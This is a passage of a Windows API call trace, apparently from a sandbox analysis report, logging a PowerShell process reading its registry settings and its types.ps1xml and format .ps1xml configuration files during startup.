lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.394] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xcd178 | out: phkResult=0xcd178*=0x32c) returned 0x0 [0024.395] RegQueryValueExW (in: hKey=0x32c, lpValueName="path", lpReserved=0x0, lpType=0xcd18c, lpData=0x0, lpcbData=0xcd188*=0x0 | out: lpType=0xcd18c*=0x1, lpData=0x0, lpcbData=0xcd188*=0x74) returned 0x0 [0024.395] RegQueryValueExW (in: hKey=0x32c, lpValueName="path", lpReserved=0x0, lpType=0xcd0fc, lpData=0x0, lpcbData=0xcd0f8*=0x0 | out: lpType=0xcd0fc*=0x1, lpData=0x0, lpcbData=0xcd0f8*=0x74) returned 0x0 [0024.395] CoTaskMemAlloc (cb=0x78) returned 0x2a26a0 [0024.395] RegQueryValueExW (in: hKey=0x32c, lpValueName="path", lpReserved=0x0, lpType=0xcd0cc, lpData=0x2a26a0, lpcbData=0xcd0c8*=0x74 | out: lpType=0xcd0cc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0xcd0c8*=0x74) returned 0x0 [0024.395] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0xcd050 | out: lpFileInformation=0xcd050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0024.396] SetErrorMode (uMode=0x1) returned 0x1 [0024.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xcce40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0024.396] SetErrorMode (uMode=0x1) returned 0x1 [0024.396] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xcd050 | out: lpFileInformation=0xcd050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d6d2bb, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d6d2bb, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe8e83beb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0024.397] SetErrorMode (uMode=0x1) returned 0x1 [0024.398] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xcd050 | out: lpFileInformation=0xcd050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0024.398] SetErrorMode (uMode=0x1) returned 0x1 [0024.399] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.399] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.401] CoTaskMemAlloc (cb=0x104) returned 0x25b1a0 [0024.401] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b1a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0024.401] GetACP () returned 0x4e4 [0024.407] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xcca00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0024.407] SetErrorMode (uMode=0x1) returned 0x1 [0024.407] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x330 [0024.408] GetFileType (hFile=0x330) returned 0x1 [0024.408] SetErrorMode (uMode=0x1) returned 0x1 [0024.408] GetFileType (hFile=0x330) returned 0x1 [0024.410] ReadFile (in: hFile=0x330, lpBuffer=0x2d0f2b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d0f2b8*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.412] ReadFile (in: hFile=0x330, lpBuffer=0x2d0f2b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d0f2b8*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.412] ReadFile (in: hFile=0x330, lpBuffer=0x2d0f2b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d0f2b8*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.412] ReadFile (in: hFile=0x330, lpBuffer=0x2d0f2b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d0f2b8*, lpNumberOfBytesRead=0xccf88*=0xcf3, lpOverlapped=0x0) returned 1 [0024.413] ReadFile (in: hFile=0x330, lpBuffer=0x2d0e713, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d0e713*, lpNumberOfBytesRead=0xccf88*=0x0, lpOverlapped=0x0) returned 1 [0024.413] ReadFile (in: hFile=0x330, lpBuffer=0x2d0f2b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d0f2b8*, lpNumberOfBytesRead=0xccf88*=0x0, lpOverlapped=0x0) returned 1 [0024.414] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xccca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0024.414] SetErrorMode (uMode=0x1) returned 0x1 [0024.414] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xccf00 | out: lpFileInformation=0xccf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d6d2bb, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d6d2bb, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe8e83beb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0024.415] SetErrorMode (uMode=0x1) returned 0x1 [0024.415] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xccc30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0024.416] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xccfe8 | out: phkResult=0xccfe8*=0x330) returned 0x0 [0024.416] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xccf6c, lpData=0x0, lpcbData=0xccf68*=0x0 | out: lpType=0xccf6c*=0x1, lpData=0x0, lpcbData=0xccf68*=0x56) returned 0x0 [0024.416] CoTaskMemAlloc (cb=0x5a) returned 0x1b6f7d10 [0024.416] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xccf3c, lpData=0x1b6f7d10, lpcbData=0xccf38*=0x56 | out: lpType=0xccf3c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xccf38*=0x56) returned 0x0 [0024.416] RegCloseKey (hKey=0x330) returned 0x0 [0024.416] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xccc30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0024.416] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xccae0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0024.458] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x330 [0024.458] GetFileType (hFile=0x330) returned 0x1 [0024.458] SetErrorMode (uMode=0x1) returned 0x1 [0024.458] GetFileType (hFile=0x330) returned 0x1 [0024.459] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.460] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.460] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.461] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.461] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.461] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.462] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.462] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.462] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.462] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.462] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.463] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.463] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.463] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.463] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.463] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.463] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.465] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.465] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.465] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.465] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.465] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.465] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.465] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.466] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.466] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.466] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.466] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.466] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.467] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.467] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.467] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.467] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.469] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.469] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.469] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.470] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.470] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.470] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.470] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.470] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1000, lpOverlapped=0x0) returned 1 [0024.471] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x1b4, lpOverlapped=0x0) returned 1 [0024.471] ReadFile (in: hFile=0x330, lpBuffer=0x2d76478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xccf88, lpOverlapped=0x0 | out: lpBuffer=0x2d76478*, lpNumberOfBytesRead=0xccf88*=0x0, lpOverlapped=0x0) returned 1 [0024.471] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xccf00 | out: lpFileInformation=0xccf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0024.471] SetErrorMode (uMode=0x1) returned 0x1 [0024.471] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0xccc30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0024.471] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xccfe8 | out: phkResult=0xccfe8*=0x330) returned 0x0 [0024.471] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xccf6c, lpData=0x0, lpcbData=0xccf68*=0x0 | out: lpType=0xccf6c*=0x1, lpData=0x0, lpcbData=0xccf68*=0x56) returned 0x0 [0024.471] CoTaskMemAlloc (cb=0x5a) returned 0x1b6f7df0 [0024.471] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xccf3c, lpData=0x1b6f7df0, lpcbData=0xccf38*=0x56 | out: lpType=0xccf3c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xccf38*=0x56) returned 0x0 [0024.471] RegCloseKey (hKey=0x330) returned 0x0 [0024.471] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0xccc30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0024.471] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0xccae0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0024.646] VirtualQuery (in: lpAddress=0xcbcd0, lpBuffer=0xccb90, dwLength=0x30 | out: lpBuffer=0xccb90*(BaseAddress=0xcb000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0024.707] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xcd188 | out: phkResult=0xcd188*=0x304) returned 0x0 [0024.707] RegQueryValueExW (in: hKey=0x304, lpValueName="path", lpReserved=0x0, lpType=0xcd19c, lpData=0x0, lpcbData=0xcd198*=0x0 | out: lpType=0xcd19c*=0x1, lpData=0x0, lpcbData=0xcd198*=0x74) returned 0x0 [0024.707] RegQueryValueExW (in: hKey=0x304, lpValueName="path", lpReserved=0x0, lpType=0xcd10c, lpData=0x0, lpcbData=0xcd108*=0x0 | out: lpType=0xcd10c*=0x1, lpData=0x0, lpcbData=0xcd108*=0x74) returned 0x0 [0024.707] CoTaskMemAlloc (cb=0x78) returned 0x2a26a0 [0024.707] RegQueryValueExW (in: hKey=0x304, lpValueName="path", lpReserved=0x0, lpType=0xcd0dc, lpData=0x2a26a0, lpcbData=0xcd0d8*=0x74 | out: lpType=0xcd0dc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0xcd0d8*=0x74) returned 0x0 [0024.707] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0xcd060 | out: lpFileInformation=0xcd060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0024.707] SetErrorMode (uMode=0x1) returned 0x1 [0024.707] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xcd060 | out: lpFileInformation=0xcd060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d93418, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d93418, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e03e37, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0024.708] SetErrorMode (uMode=0x1) returned 0x1 [0024.708] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xcd060 | out: lpFileInformation=0xcd060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f36317, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67f36317, 